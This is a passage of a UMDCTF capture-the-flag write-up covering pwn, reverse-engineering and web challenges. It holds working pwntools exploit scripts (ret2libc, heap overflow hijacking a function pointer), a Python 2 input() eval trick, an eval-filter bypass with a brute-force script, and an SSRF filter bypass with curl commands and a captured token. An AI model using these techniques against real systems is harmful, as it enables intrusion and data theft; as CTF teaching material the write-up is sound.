one_gadget = p64(libc.address + 0xe3b31)
r.sendlineafter(b'?\n', b'a' * 72 + p64(canary) + b'a' * 8 + one_gadget)
def main():
r = conn()
ret2libc(r)
# ret2dlres(r)
r.interactive()
if __name__ == "__main__":
main()
As you can see there is also another exploit in the script. After I solved the challenge I wondered if there was another method that didnât involve finding the right libc. After a short search I realized that ret2dlresolve was what I needed. Here some references about it:
- https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html
- https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve
đ UMDCTF{H3r3_W3_G0_AgAIn_an0thEr_RET2LIBC}
Legacy
Fred just wonât keep up with the times. Why donât you show him the error of his ways?
This challenge donât have attachments, so the only thing we can do is to connect to the given address.
I bet you can't guess my *secret* number!
I'll give you hint, its between 0 and 0,1000000000000000514!
The program asks us to guess a secret number. Letâs try to play fairly:
0,1 <-- our input1
0,01 <-- our input2
0,001 <-- our input3
3 chances left!
2 chances left!
1 chances left!
Deprecated shmeprecated!
Python 2 will never die!
Ok we couldnât guess correctly. At the end we receive also a strange message referring to python2 deprecation, maybe this will be useful. Now we can try non-numerical inputs:
I bet you can't guess my *secret* number!
I'll give you hint, its between 0 and 0,1000000000000000514!
a <-- our input
3 chances left!
Traceback (most recent call last):
File "/home/ctf/legacy.py", line 15, in <module>
if (input(str(3-i) + " chances left! \n") == secret):
File "<string>", line 1, in <module>
NameError: name 'a' is not defined
Interesting. We receive a python error message, which tell us that our input taken with the input()
function is compared to the variable secret. It also says that a
is not defined. This happens because in Python 2.x the input()
function is equivalent to eval(raw_input)
, so the script can read user input into a variable. Fortunately we know the name of the secret variable:
I bet you can't guess my *secret* number!
I'll give you hint, its between 0 and 0,1000000000000000514!
secret
3 chances left!
No way!
UMDCTF{**_**_*******}
đ UMDCTF{W3_H8_p7th0n2}
The Show Must Go On
We are in the business of entertainment, the show must go on! Hope we can find someone to replace our old act super fastâŠ
Attachments: theshow
We are given a 64-bit not-stripped binary. Checksec reveals this protections:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
We can firstly take a look at the code decompiled with ghidra. The binary contains a huge number of functions, that is both strange and suspect. The most important are:
-
main
void main(void) { int iVar1; setbuf((FILE *)stdout,(char *)0x0); setbuf((FILE *)stdin,(char *)0x0); setbuf((FILE *)stderr,(char *)0x0); setup(); iVar1 = whatToDo(); if (iVar1 != 0) { puts("The show is over, goodbye!"); } return; }
The main function seems pretty clear, letâs examine the 2 functions setup and whatToDo:
-
setup
undefined8 setup(void) { long in_FS_OFFSET; int desc_length; char *crypt_result; undefined act_name [40]; long local_10; undefined8 *strings; local_10 = *(long *)(in_FS_OFFSET + 0x28); crypt_result = (char *)0x0; desc_length = 0; message1 = (undefined8 *)malloc_set(0x50); message2 = (undefined8 *)malloc_set(0x60); message3 = (undefined8 *)malloc_set(0x80); strings = message1; *message1 = 0x20656d6f636c6557; strings[1] = 0x6320656874206f74; strings[2] = 0x6c63207964656d6f; *(undefined4 *)(strings + 3) = 0xa216275; strings = message2; *message2 = 0x20796c6e6f206557; strings[1] = 0x6568742065766168; strings[2] = 0x6f63207473656220; strings[3] = 0x20736e616964656d; *(undefined4 *)(strings + 4) = 0x65726568; *(undefined *)((long)strings + 0x24) = 0x21; strings = message3; *message3 = 0x6820657361656c50; strings[1] = 0x7320737520706c65; strings[2] = 0x6f66207075207465; strings[3] = 0x612072756f792072; *(undefined4 *)(strings + 4) = 0xa7463; printf("%s",message1); printf("%s",message2); printf("%s",message3); puts("What is the name of your act?"); __isoc99_scanf(&DAT_004bb1e6,act_name); mainAct = malloc_set(0x68); nop(mainAct,act_name,0x20); crypt_result = crypt("Main_Act_Is_The_Best",salt); nop(mainAct + 0x20,crypt_result,0x40); puts("Your act code is: Main_Act_Is_The_Best"); *(code **)(mainAct + 0x60) = tellAJoke; currentAct = mainAct; free(message1); free(message3); puts("How long do you want the show description to be?"); __isoc99_scanf(&%d,&desc_length); showDescription = (char *)malloc_set((long)(desc_length + 8)); puts("Describe the show for us:"); getchar(); fgets(showDescription,500,(FILE *)stdin); actList._0_8_ = mainAct; if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
-
whatToDo
undefined4 whatToDo(void) { long in_FS_OFFSET; int local_18; undefined4 local_14; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("What would you like to do?"); local_18 = 0; local_14 = 0; puts("+-------------+"); puts("| Actions |"); puts("|-------------|"); puts("| Perform Act |"); puts("| Switch Act |"); puts("| End Show |"); puts("+-------------|"); printf("Action: "); __isoc99_scanf(&%d,&local_18); if (local_18 == 2) { switchAct(); puts("I think the current act switched switched. It might appear when we start up again..."); } else { if (local_18 == 3) { local_14 = 1; } else { if (local_18 == 1) { (**(code **)(currentAct + 0x60))(); } } } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return local_14; }
Although the setup functions is a bit messy we can understand the overall behavior of the binary. Initially we are asked to give in input the name of our act (0x68 bytes allocated). After that are executed a few useless operation (like crypt) and at main+0x60 is assigned a pointer to the function tellAJoke. Then we are asked the length of the actâs description, but independently of our input the program receives 500 bytes through the fgets functions: this is a clear buffer overflow vulnerability. The function what to do simply allow us to perform our act, executing the function pointed by main+0x60 which normally is tellAJoke, or to switch our act with another.
Once we understood the behavior of the program itâs easy to spot the vulnerability: through a heap overflow (possible since we choose desc_length) we can overwrite the pointer in main act and execute every function we want. At this point I naively thought: âIt would be perfect if we had a function like printFlag or popShellâ. While I was absorbed in thoughts I realized that maybe the big amount of functions of the binary, previously mentioned, was used to hide such a âmagicâ function. It turned out that I was correct and with a brief search I found the win() function that print the flag. The rest of the exploit simply consist in gdb checks in order to find offsets for the overflow.
Script:
#!/usr/bin/env python3
from pwn import *
exe = ELF("./theshow")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
elif args.GDB:
r = gdb.debug([exe.path], gdbscript='''b main''')
else:
r = remote("0.cloud.chals.io", 30138)
return r
def main():
r = conn()
r.sendlineafter(b'act?\n', b'born2scan')
r.sendlineafter(b'be?\n', b'120')
# heap overflow
r.sendlineafter(b'us:\n', b'a' * 240 + p64(exe.sym.win))
r.sendlineafter(b'Action: ', b'1')
print(r.recvline().decode())
if __name__ == "__main__":
main()
đ UMDCTF{b1ns_cAN_B3_5up3r_f4st}
Rev
DragonPit
Fred is trying to learn how to deal with dragons. Can you help him out?
Attachments: dragonPit
For this challenge we were given an ELF file, analyzing it with ghidra we can see that at first it asks us for an input and then compares it with a secret sentence: if the strings are equal the program prints the flag as shown in the image below.
After having spent some time reconstructing the sentence with ghidra I decided to switch to gdb with which we can right away analyze the cmp function and see in clear our secret sentence.
In the first image we can see that the program asks: âWhen should Fred jump into the dragon pit?â, looking at the two sentences on the second image we can see that the first one makes more sense then the second. In fact running the program with the input wh3nTheDr4gsHPis1048
gives us the flag.
đ UMDCTF{BluSt0l3dr4g}
tiny
Scan for free crypto currency!
Attachments: tiny.png
In this challenge we were given a .png file, it being a reverse engineering problem I decided to analyze it with cyberchef hoping to find something more useful, in fact using Parse QR code, From base64 and Extract Files modules a .xz file was obtained which contained an ELF file.
Analyzing the file with ghidra we can observe two core functions, the first one encrypts the first part of the flag XORing each character with its position in the string, as we can see in the image below:
With ghidra we can take the bytes that the function is XORing and simulate the process to get the first part of the flag as we see in the image below.
The second one encrypts the second part of the flag in a different way, it shifts the byte and xors it, the tricky part here was âunderstandingâ the right order of the two operations.
As before we can take the bytes with ghidra and write a tiny script in python to simulate the process as it is shown below:
đ UMDCTF{h3y_m0m_1m_0n_th3_r@d1o}
Web
A Simple Calculator
Calc you later! :)
Attachments: A_Simple_Calculator.zip
from flask import Flask, send_from_directory, request, render_template, json
from secrets import flag_enc, ws
app = Flask(__name__, static_url_path='')
def z(f: str):
for w in ws:
if w in f:
raise Exception("nope")
return True
@app.route('/')
def home():
return render_template('index.html')
@app.route('/public/<path:path>')
def send_public(path):
return send_from_directory('public', path)
@app.route('/calc', methods=['POST'])
def calc():
val = 0
try:
z(request.json['f'])
val = f"{int(eval(request.json['f']))}"
except Exception as e:
val = 0
response = app.response_class(
response=json.dumps({'result': val}),
status=200,
mimetype='application/json'
)
return response
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=5000)
This is the application; the interesting part is inside the POST /calc
route handler.
What is send is checked at line 24 for some unknown bad strings, if there arenât any our input is executed at line 25 and we receive the output converted to integer.
After a bit of trial and error, we asserted that the flag symbol flag_enc
was allowed but the ord
function was not. Fortunately, ord()
is not the only way to transform a char into a integer in python.
With the following payload you could get each char as an int
{
"f": "int.from_bytes(flag_enc[0].encode(), 'big')"
}
Automate it
from pwn import *
import requests
url = 'https://calculator-beu79.ondigitalocean.app'
# get flag
flag = ''
logger = log.progress('Flag')
for cur_flag_idx in range(1000):
logger.status(flag)
res = requests.post(url=url+'/calc', json={'f':f"int.from_bytes(flag_enc[{str(cur_flag_idx)}].encode(), 'big')"})
flag += chr(int(res.text.split('"')[3]))
logger.success(flag)
And get the encrypted flag OGXWNZ{q0q_vlon3z0lw3cha_4wno4ffs_q0lem!}
. The flag is found applying a ROT8
đ UMDCTF{w0w_brut3f0rc3ing_4ctu4lly_w0rks!}
Customer Support
Contact Devils customer supoprt and see what they have to offer.
Attachments: Customer_Support.zip
Hint: Refer to How do JSON Web Tokens work? on https://jwt.io/introduction
We are given the source code of a sort of Customer Support frontdesk application. The application is divided in two different services:
- Microservice, served locally on port 3000
- The main application, served publicly
Reading the source of /pages/api/auth.ts we can see that in order to get the flag (stored inside an environment variable) we need to send a specific Authorization cookie.
import type { NextApiRequest, NextApiResponse } from 'next';
import { getCookie } from 'cookies-next';
const dotenv = require('dotenv');
dotenv.config();
type Data = {
status: string
body: string
}
export default async function handler(
req: NextApiRequest,
res: NextApiResponse<Data>
) {
if (req.method === 'GET') {
const tok = getCookie('Authorization', {req, res});
return res.status(200).json({ status: 'success', body: `${tok && tok == process.env.TOKEN ? process.env.FLAG : ''}`});
}
}
Checking out what the local microservices does, we stumble upon an interesting part.
// [ ... ]
const authRouter = express.Router();
authRouter.get('/auth', function(req, res, next) {
return res.status(200).json(JSON.stringify({ token: process.env.TOKEN }));
});
// [ ... ]
It seems like if we can make a GET request directly to the service, we get a JWT token that we can try out on the main service. But how do we manage to make a SSRF request on that service ? Letâs check out pages/api/contact.ts.
// [ ... ]
let c = (t: string) => {
if(!t) return '';
let r = t.match(/(https?:\/\/[^\s]+)/g);
let s = r ? r[r.length - 1] : '';
return s.includes('localhost') || s.includes( '127.0.0.1') || s.includes('0.0.0.0') ? '' : s;
}
let a = function (str: string) {
return str.replace(/[^\w. ]/gi, function (c) {
return '&#' + c.charCodeAt(0) + ';';
});
};
//@ts-ignore
let l = (body) => {
let v = [body.name, body.email, body.subject, body.message];
return v.reduce((acc, vv) => vv && acc, true) && v.reduce((acc, vv: string) => acc && vv.length < 400, true) && body.email.includes('@');
}
export default async function handler(
req: NextApiRequest,
res: NextApiResponse<Data>
) {
if (req.method === 'POST') {
const lookup = util.promisify(dns.lookup);
// check that all parameters have the correct type (string)
if(!l(req.body)){
return res.status(400).json({ status: 'failed', body: '' });
}
// basic anti-SSRF check. Checks if param. message is a valid URL not pointing to localhost
const cs = c(req.body.message);
if(!cs){
return res.status(200).json({ status: 'success', body: '' });
}
const u = parse(cs);
let t: string;
try {
// try to lookup the address of the given URL, if false, use local microservise address
t = u.hostname ? (await lookup(u.hostname)).address : `${process.env.MICROSERVICE}`;
} catch (e) {
return res.status(200).json({ status: 'success', body: `${process.env.DEF}`});
}
// Perform fetch request
return fetch(`${u.protocol}//${t}`, {method: 'GET'})
.then((r) => r.text())
.then((b) => res.status(200).json({ status: 'success', body: b.substring(0, b.length < 20000 ? b.length : 20000)}))
.catch((e => {res.status(200).json({ status: 'success', body: 'UNDEF' }); console.log(e)}));
}
}
Reading this code, we realize that in order to reach the microservice, we simply have to POST a request on /api/contact
and provide a crafted URL inside the message
parameter. This URL should not be a valid URL so the application returns false on await lookup(u.hostname)).address
and uses process.env.MICROSERVICE
as the target URL.
To do so, we simply use a payload like http://%25
and get the JWT token.
$ curl -X POST https://customer-support-p558t.ondigitalocean.app/api/contact -d "name=test&email=test@test.com&subject=test&message=http://%25"
$ {"status":"success","body":"\"{\\\"token\\\":\\\"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlVNRENURiIsImIiOiJUb2RheSBJIHdpbGwgbGl2ZSBpbiB0aGUgbW9tZW50LCB1bmxlc3MgaXQgaXMgdW5wbGVhc2FudCwgaW4gd2hpY2ggY2FzZSwgSSB3aWxsIGVhdCIsImlhdCI6MTcxNjIzOTAyMn0.7SoLIpd9dL9d3Lx84vbAqlLCE5rR3fWqN8ZWLx41QDE\\\"}\""}
Bingo, the next step is to try out this token on the main application. Making a GET request on /api/auth
and using the correct format on the cookie (Authorization=Bearer JWT_TOKEN
), we get the flag.
$ curl https://customer-support-p558t.ondigitalocean.app/api/auth --cookie "Authorization=Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlVNRENURiIsImIiOiJUb2RheSBJIHdpbGwgbGl2ZSBpbiB0aGUgbW9tZW50LCB1bmxlc3MgaXQgaXMgdW5wbGVhc2FudCwgaW4gd2hpY2ggY2FzZSwgSSB3aWxsIGVhdCIsImlhdCI6MTcxNjIzOTAyMn0.7SoLIpd9dL9d3Lx84vbAqlLCE5rR3fWqN8ZWLx41QDE"
$ {"status":"success","body":"UMDCTF{REDACTED}"}
đ UMDCTF{I_b3t_th@t_c00kie_t4sted_g00d_d!dnt_it!U4L_p4rs1ng_suck5}